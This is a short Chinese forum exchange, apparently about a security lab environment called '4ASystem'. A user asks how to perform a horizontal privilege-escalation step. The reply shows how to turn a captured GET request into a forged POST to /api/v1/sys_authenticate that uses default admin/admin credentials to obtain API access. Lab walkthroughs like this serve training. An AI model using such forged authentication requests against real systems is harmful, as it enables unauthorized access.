4ASystem

[JoeFeng]

4ASystem
横向越权
模拟登陆web1应用，获得访问API的凭证
请问这个具体怎么操作？访问xxx:58080是404，在web1登录或者修改密码抓不到POST /api/v1/sys_authenticate这个包

[JoeFeng]

访问xxx:58080（4ASystem），404是正常现象（该环境只需要后端api访问4ASystem即可）

模拟登陆web1应用，获得访问API的凭证：访问xxx:58080（4ASystem），抓包，构造POST /api/v1/sys_authenticate请求

GET / HTTP/1.1
Host: 192.168.80.131:58080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=554f58da8431b864e15d60ee6f7cdd98
Connection: close

→→→→→→→→→→→修改成→→→→→→→→→→→

POST /api/v1/sys_authenticate HTTP/1.1
Host: 192.168.80.131:58080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=554f58da8431b864e15d60ee6f7cdd98
Connection: close
Content-Length: 94

{
"username":"admin",
"password":"admin",
"application":"web1"
}

获得访问API的凭证